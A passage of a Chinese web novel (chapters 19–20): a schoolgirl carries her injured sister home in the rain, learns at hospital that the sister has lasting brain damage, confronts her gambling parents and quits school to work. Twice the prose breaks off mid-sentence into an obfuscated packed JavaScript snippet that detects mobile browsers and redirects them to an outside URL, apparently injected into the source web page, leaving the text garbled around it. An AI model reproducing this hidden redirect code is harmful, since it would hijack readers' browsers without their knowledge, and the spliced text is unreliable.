我强行压下心中的恐惧与难过,背上姐姐,伞也没时间拿了,脚步一刻都不敢停,像是平常聊天儿似的和姐姐说着话,又像是给自己壮着胆,“姐姐,你知道吗?我还是第一次见这么大的蛋糕……好漂亮…上面有好多芒果,还有两个小人,是我和你……” 19. 第 19 章 “姐姐,等咱们回家了,一起吃蛋糕吃面条好不好?” 姐姐没理我,我有些害怕,但是不敢停下步伐,我不敢赌那个男人到底存不存在,会不会突然追上来……如果真的追上来,剩下的事我不敢细想…… 我继续和姐姐说话,“姐姐,你现在是不是饿了,再有二十分钟吧,咱们就能到家了。” 雨下的这么大,我看不太清回家的路,脚下的泥像是伸出了无数双手不断阻碍我的脚步。 我想起我的口袋里还有李卿给我的零食,我两只手都占着,于是和姐姐说:“姐姐,我口袋里有吃的,你要是饿了现在就拿着垫垫肚子吧。” 姐姐还是没理我,我担忧地回头看她,她面色比纸还苍白,几乎看不出她原有的唇色。 我大声喊她的名字,让她别睡,我只怕她睡了我再也见不到她了。 我姐听我喊她,费劲儿地撩起眼皮看我一眼,低声数落了句,“没大没小。” 短短四个字话还没说完就被咳嗽声打断,我甚至能感受到后背传来的震动感。 我都快哭了,“姐姐你别睡啊,等咱们到家了洗个头再睡行不?等我有钱了一定买个浴缸,这样淋雨了就能泡个热水澡再睡觉了。” “行啊。”我姐说,“我等着这一天。” 我们约莫走了很远的距离,至少我鼓起勇气回头看时已经完全看不到那个小巷子了。 我又拉着我姐聊东聊西,从我考第一名时候的感受到今天这该死的雨,什么都聊,期间我姐只是闭着眼,时不时的嗯一声。 我绞尽脑汁地想着还有什么话题能聊,没有专心看路,被脚下的石头滑倒了。 剧烈的疼痛感席卷全身,身下无数碎石,像是躺在针床上受刑,我看了冒着血点点的掌心不禁嘶了声,幸好我姐还在我背上安安稳稳地趴着没掉下去。 我姐受到动静只是闷哼一声,我握着我姐的手臂背着她慢慢站起身。 “姐,你趴好别乱动啊。我怕再摔下去,我可能真的没力气了。”我喘了两口气,酝酿了会儿力气才继续走。 我还是和我姐说着无关痛痒的话,我姐时不时也在我后背上点点头,到最后我几乎走两步就要停下来歇一会儿。 等我们走到家,已经晚上十一点多了。我把我姐放到凳子上,她的伤口凝固了,可血被雨水冲的半张脸都是,看上去有点吓人。 家里没有纱布,这个点儿村里的卫生所也早就关门了,只能明天等雨停,再带姐姐去医院看看了。我用纸巾沾了水把姐姐脸上的血迹擦拭干净。 我热了水,把姐姐额头上的伤口用保鲜膜包好,随后把姐姐摇醒,让她去洗洗头,别着凉了。 我姐强撑着站起来,指使我用床单搭了个帘,随后拿了毛巾,进到帘子里面把脏衣服脱了。 我坐在外面,等着听姐姐的吩咐。 窗外的雨下得比刚刚还要大,噼里啪啦的雨滴声砸在窗子上响个没完。我只知道我姐让我还换了一盆又一盆的水。 她洗过后也没吃饭,直接躺在床上裹了被子就睡觉了。 我想劝她多少吃点饭,吃点蛋糕也行。 我姐只是强撑个笑对我说没胃口。 于是我洗漱过后也关了灯躺在床上,陪着姐姐睡觉。 “姐姐,要不我们去报警吧?” “不用。这是我的事,你不要牵扯进来。”我姐说,“早点睡觉。” 我“哦”了声。 我不知道现在几点了,只盼着今天还没过去,我双手合十对月亮的方向许了个愿。 “请让我姐长命百岁,健健康康,快快乐乐的。” 我不贪心,只许了这一个愿望。我姐的生日愿望也没许呢,我自作主张用她的份儿许了同一个愿望。二换一,只求愿望成真。 我摸出手机打开看了眼,时间正好卡在0:00,下一秒手机没电关机。 只盼着我许愿的时间正好是前一分钟。 一桌子完整但早已凉透的菜可以当做明天的早饭,蛋糕可以当做饭后甜点…… 就这么想着,我沉沉睡了过去。 次日一早,我被刺眼的阳光照醒了。雨停了啊,我想。下一秒我意识到不对,今天还要上课,我猛地坐起身,又想起我身旁的姐姐。 都这个时候了,姐姐还没醒?不应该啊。 我摸了摸姐姐的额头,烫的我下意识把手缩了回去,姐姐发烧了! 我把姐姐强行摇醒,她眼睛迷离地看着我,“挺好……” 我快速穿衣穿鞋,“姐姐你生病了,咱们去医院!” 姐姐的脸冷下来,“我不想去。” “一定得去!”我翻箱倒柜找银行卡和身份证,心下盘算钱够不够看病,估摸着差不多够,此时也顾不上洗漱了,我随意把银行卡揣兜里,然后坐在床边,示意姐姐趴我背上,“走吧。” 过了会儿,一点儿动静都没有,我诧异回头不理解我姐怎么还没动作。 我姐早就翻了个身,背对着我装睡。 我双膝跪在床上,昨夜被石头磕的伤口还在隐隐作痛,我凑到她身边,“姐,你不去医院我也得去。昨天我膝盖也流血了,可能得去医院缝针。” 我姐没说话,只是眼睛缓慢睁开,她目光没看我,只是呆呆的望着空气中的某一处。 “姐。”我喊她,“陪我去吧,让我自己一个人去缝针我也不太敢。” 我姐像是丧失了语言功能,不过我拉着她的手挂在我脖子上时她倒也没再反对。 我背着我姐一步一步走着,走出偏僻的小乡村,走到城镇的大医院,我把我姐安顿好,挂了号,等待叫号的时候又去买了两个面包。我不知道要不要抽血,如果医生说不用的话,那姐姐就不会饿肚子了。 我把我姐的伤口给我姐看了,医生说要拍个片子,要抽血,我一概答应。缴费的时候顺便看了眼账单,我有些茫然,要这么多钱吗? 钱分散在好几张银行卡,只好一个项目一个项目地缴费,身后的人不断催着我快点,我只好一边和他们连连道歉一边麻溜输入密码。可我的钱还差一些,我看着电子屏幕上显示的数额,有些急躁。 我姐还在旁边等着我,我今天肯定得让我姐看上。 我想给我家长打电话要些钱,可突然想起我的手机昨天没电了,也忘记充电了。 我厚着脸皮像旁边向周围人借了电话,有些人鄙夷地看着我,我脸红的像西红柿,可我还是一个接一个地问过去,终于有好心人愿意借给我。 我感动得当即跪下要给她磕个头,但还没跪下就被她拦下来,她说:“谁都有不容易的时候,打个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019807|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话而已,没什么大不了的。” 我道谢过后,给爸爸打了电话,嘟嘟两声之后我都想哭着和他说我们昨天有多不容易,可我爸直接给我挂了。 我不好意思对她说:“抱歉,我家长没接到。我可以再打一个吗?” “没关系,你用吧,我不着急。”她友好地对我笑笑。 我只好输了我妈的电话号码,这次接的很快。 “喂你好,哪位?” “妈,是我,我是挺好。”我强忍着哭腔说道,“可以给我打点钱吗?我现在在医院。” “你这孩子,我去哪给你打钱啊?把钱寄过去最快也要十天半个月了……” 我连忙说道:“妈,我有银行卡。可以直接把钱汇进我银行卡里。” “赵挺好,你该不会是来骗钱来的吧?你什么时候办了银行卡?你办银行卡想干什么?” 我默了默,一时间不知从哪讲起,只好说:“妈,我要钱真有用,昨天下雨我走路摔了,我来医院想拿点药膏。” “去医院拿药膏作甚额!你知不知道医院里的东西有多贵,我和你爸供得起你去一趟医院的花销吗?你去找二婶子吧,她们家应该有红花油,擦擦就好了。” 不等我继续说下去,我妈就挂断了电话。 我握着别人借给我的手机,尴尬、紧张、悔恨诸多情绪像一张被编织好的密密麻麻的网套在我身上,我几乎要不能呼吸。 霎时间,我只觉得所有人的目光围绕在我身上,从昨天晚上就没进食过的胃此刻发出强烈抗议,我忍受不住捂着胃蹲下身。 周围人看我这样还以为发了什么病,纷纷远离生怕我传染给他们。 我拿着手机,对好心人说:“我再打最后一个电话,可以吗?” 我头晕目眩,几乎要看不清她脸上的表情,只能看出她大概的动作,她从口袋里掏出一颗糖塞在我手里,我看着手里那颗费列罗慢慢地、眨了下眼。 理智缓慢回归,我清晰的听到她的声音。 “打吧。或者还差多少,我借给你。” 我摇了摇头,示意不用。我抱着仅有的一丝希望输入了李卿的电话号码。 今天是周六,只希望李卿起床了,如果起床了不知道有没有在看书。 铃声响了五六声,电话里传来李卿有些懒散的声音,“你谁啊?推销的就快点说,说完等时长够了就挂电话。” 我沉默了两秒,说道:“是我。” 我正要补充我是谁就能听到李卿喊我的名字。 “挺好啊,你怎么换手机号了?准备今天来找我玩吗?” 电话那头传来了悉悉索索穿衣服的声音,我有些难以启齿,可我没时间再羞耻了,我清了清嗓子,说道:“李卿,你可以借我点钱吗?” 我忙着补充:“我肯定会还给你的,现在还不上我以后打工也会还的……” 李卿打断了我的话,“要多少?” 我看了眼账单上的数目,对一个成年人不算多,但对我来说绝对不算少,我对李卿说了一个数,随后说道:“对不起,我知道我可能借的有点儿多了,如果你没有这么多的话也没事,不愿意借给我也没事。我知道我们都是学生,手上没多少钱……” 李卿再次打断了我,她言简意赅地说:“发卡号。” 20.第 20 章 我用李卿借给我的钱结清账单后再次向借给我手机的好心人道谢,我去找了姐姐,她还是呆呆地望着虚空中的某一点,像是对一切都毫不在乎的样子。 我拉着她去化验室、去照CT,我姐还是一言不发。我当时只以为我姐是烧晕乎了。 直到医生举着报告和我说一些我根本听不懂的专业名词,我姐就在门外啃着面包等着我,我颤着声音说:“什么意思?” “你家长没来吗?” 我摇了摇头,手紧紧捏着费列罗的包装纸,“我爸妈去外地打工了,一时半会儿回不来。” 医生叹了一口气,“脑出血压迫神经了。如果一出事马上过来就好了。” “什么意思?”我问,“我姐她……” “语言神经和记忆神经有无法恢复的可能性。”医生话锋一转,“不过积极做康复治疗还是有可能恢复的。” 我问:“要多少钱?一共要做几期?” 过了半小时,我拉着姐姐出了医院门,我抬头望着金灿灿的太阳,今天真是个好天气,万里无云。 我姐一言不发地走在我身后,像之前的我亦步亦趋地跟在她身后一样。 脑海中不断回想起医生对我说的治疗金额,我抿着唇一言不发。 手越攥越紧,掌心留下深深的指甲印,久久不能消散,我只恨我当时为什么没卯足勇气冲上去和他拼命,为什么我没有第一时间带我姐去医院看病。 从今往后,不论晴天还是雨天,不论刮风还是下雪,从这天起,我知道我被困在了那个雨夜,这是我一生的罪孽。我这一生都活在阴暗潮湿的梅雨季。 我姐如今十八岁,正是如花似玉的年纪,她有大好的青春去挥霍,她本该想做什么就可以做什么,她可以有更好的生活。而不是现在这样,沉默的、对一切都不在乎的样子。我怕极了,我抱着她的脖子哭诉,问她能不能再喊我的名字,再喊我一声挺好。 可是我姐只是沉默着看着我,她不理解我为什么要这么做。 我常常怨恨命运的不公,为什么老天你要这样对我和我姐!我和我姐做错了什么?我常常怨恨我们家为什么没有钱,如果有钱,我们家就不会住在偏僻的小村庄,上下学都走着一条望不到头的泥土路;如果有钱,我就可以第一时间打车去带我姐看病;如果有钱,我就不会在医生说出天价治疗费后傻了眼! 我也恨我的父母,为什么把我和姐姐抛下去南下打工,为什么在我危难时不给我转账,为什么不爱我? 我恨不得将这狗屁苍天撕个粉碎,为什么我的人生是这样的?为什么我的晚饭是馒头就着一勺老干妈? 为什么要夺走我最喜爱的姐姐? 这一晚,我家的灯久久未熄,愣生生亮了一夜,桌子上的菜码过了两天不能吃了,原本漂亮美味的芒果蛋糕也变了质。我看了父母给姐姐写的信,又看了看“父母”给我写的信,摸着信件上的字迹,这分明是姐姐写的。 “父母对我的爱”只是虚影罢了,是因为有姐姐在,这份虚影还未消散。 我望着天空中寥寥无几的星星,脑海中不断回过姐姐和我相处的点点滴滴,过了会儿我回头看着床上的姐姐,她已经睡熟了,屋里有点冷,被子上还搭了李卿送我的红棉袄班服。我短暂地笑了声,做了一个决定。 凌晨五点,我给爸妈打了个电话,我手指随着“嘟嘟”音一点一点敲在窗沿。 电话不出意外地被打断了,我没恼,又打了一个,这次接的很快,那头传来我爸暴躁的声音: “你他妈谁啊?大半夜打个电话没完没了?死全家了?” “爸,我是赵挺好。” “有话快说有屁快放,提前说啊要钱没有。” 我听着电话那头传来的沉闷的碰撞声,还有人在催他快点出牌,我不可置信,“你在赌博?” “别动都别动,我要杠嘿嘿。”我爸一边打牌一边骂我,“你他妈到底有事没事?你老子的事儿你也配问呢?你姐比你省心多了!哎哎我胡了啊,交钱,岗开会掉龙!一百二啊。” 我沉默了一两秒,说:“我姐出事了,你们抓紧回来。” “什么?”我能清楚听到我爸拒绝周围人再来一把的邀请,明显走到了一个安静的地方,“你说啥?” 我回头看了一眼睡着的我姐,把灯拉了,走到屋外,背后倚着墙,我说:“我姐失忆了。” “操。”我爸有点结巴,“…他妈的…真的假的?你别是骗我们回去的吧?” “赵恩顺!我骗你回来能给我一个子儿吗?一分钱都到不了我手上我骗你干什么?”我发了疯地喊。 “你他娘的,怎么跟你爹说话呢?回去的话最少也得三四天吧。好好看着你姐啊,过几天她就高考了。”我爸又说了句,“你他妈的要是敢骗老子你就死定了知道不?” 我冷笑了声,懒得听他再说话,直接挂断了电话。 我乘着月色进了屋,蹲在床边,拉过姐姐在被窝里的手,放在我头上。 姐姐,我一定会对你好,我一定会让你开心幸福的活着,哪怕我奉上性命也甘之如饴。 次日中午,我给李卿发了个短信,讲了我未来的打算。李卿回我一个哭哭的表情,她问我一定要这样吗? 如果她是昨天问我的这个问题我可能会犹豫,可现在我不会了。我提起李卿借我钱的事,李卿说十年之内还上就行,利息分文不取。 李卿的恩情我铭记于心,只是我要食言了,我没办法陪李卿上高中了。 如果爸妈喜欢姐姐,那就会在家里好好照顾姐姐。我辍学去打工。 三天后,爸妈回来了。他们一进门就抱着我姐哭天抹泪的,我姐理都不理他们,就直愣愣的看着我。 我笑了笑,抬手摸了摸我姐的头发。我姐还是跟我最亲。 我爸一看这样,还以为我给我姐下蛊了,上来就给了我一耳光。 我被打得偏过头去,我摸了摸,原来这么疼,不由得心疼起一年前的我姐来。 我爸皱着眉头,“怎么回事?你对你姐做了什么?” “我姐失忆了。熬夜学习,脑袋磕铁上了,脑出血。” “为什么不带她去医院治?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023123|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我妈冲过来薅着我的领子,几乎要把我提起来。 我红着脸咳嗽两声,又冷笑道:“我带我姐去医院看病,路上摔倒了,膝盖破了口子,我给你打电话,你怎么说的?” 我妈沉默了,她悻悻地将我放下,过了会儿她又说:“你早说是你姐姐有事儿啊。” “我就活该死是吗?” 我妈不说话了,我爸指着我的鼻子骂我:“那你把我们喊回来有什么?你姐都这样了,治疗费肯定是天价,回来能有几个钱?” “不把你们喊回来,赚的钱够赌博输的吗?” 我爸也不说话了。 “所以你们真的一分钱没赚到是吗?”我问。 “还是攒了点的……主要我们也不容易……而且回来的车票也是钱啊。” “攒了多少?够我姐一次看病的吗?” “……” 我爸说:“那我们不去打工,你姐怎么办?你姐今年考不了,我还等着你姐明年考个好大学呢。” “我去打工。”我直视着他们冷静的说,“赚的钱除了生活费我全寄回你们。” “别逗了,你才多大?你不刚十四吗?去哪打工啊?” 我是指望不上我爸妈赚钱的了,就只能靠他们好好看着姐姐了,我要自己赚钱,把姐姐的医疗费赚够,把李卿的钱还了。 我说:“这不用你们操心。” 如果第一家不留我,我就去问第二家第三家,问到第一千家,总会有人收我的。 哪怕是扫地擦桌子洗碗,哪怕是在工厂打螺丝,我也愿意。 为了我姐更好,干什么我都愿意。 抱着这样的想法,我辍学了,我流着眼泪把银行卡还给了班主任,我说我没办法再继续学下去了,当时的承诺也没作数,钱我会还给她们的,只是要等等。班主任也知道了我家里的情况,红着眼说不用还了,这些钱发挥了真正的用处,这就够了。 出了办公室,我无视了同学们好奇的目光,最后我回头看了一眼流泪的李卿和赵澄,我对着他们挥挥手,然后出发了。 去往了一条只属于我和我姐的道路上。 第一份工作,就是在家附近找的后厨,只需要洗碗,本来老板看我年纪太小不惦着收我的,后来又发现我和我姐长得有点像,问我和她是不是认识,我说她是我姐。老板有些诧异,他说有段日子没见着我姐了,可能忙着考试吧,上次来帮忙她还笑着说是洗完今天的碗就能给妹妹买生日蛋糕了。 我扭过头去,眼泪止不住地往下掉。我不知道该怎么说。 老板见此也噤了声,等我平复完心情,他说:“你们也不容易,想在我这儿干就干吧,有检查的可机灵着点儿啊。” 我点头应了声。 这老板真是个好人,甚至包我吃住。每当我吃饭时他总是笑着给我塞个水煮蛋叫我多吃些,还和我说之前也我姐也这样,只是我姐比我能吃些……每当他说这些事的时候我的馄饨汤就更咸了些。 我洗了一个碗又一个碗,攒了一块又一块。 终于,我攒够了去南方的车票。